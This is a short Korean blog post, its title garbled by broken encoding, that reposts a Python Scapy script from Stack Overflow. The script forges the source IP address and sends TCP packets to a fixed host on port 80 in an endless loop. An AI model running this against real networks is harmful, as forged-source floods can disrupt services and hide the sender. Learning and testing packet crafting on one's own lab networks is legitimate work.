๐จ๐ผ๐ป๊ฐ๋ฐ/Scapy
Scapy - ํ์ด์ฌ Scapy๋ก ์์ดํผ ์คํธํ
Janger
2022. 7. 27. 00:49
728x90
from scapy.all import *
A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload
while True:
spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
send(spoofed_packet)
์ถ์ฒ:
https://stackoverflow.com/questions/38956401/ip-spoofing-in-python-3
IP Spoofing in python 3
Is it possible to send a spoofed packet with another ip source? I've searched on the net and I found out that I need to use scapy library. I have this script that I found: import sys from scapy.all
stackoverflow.com
728x90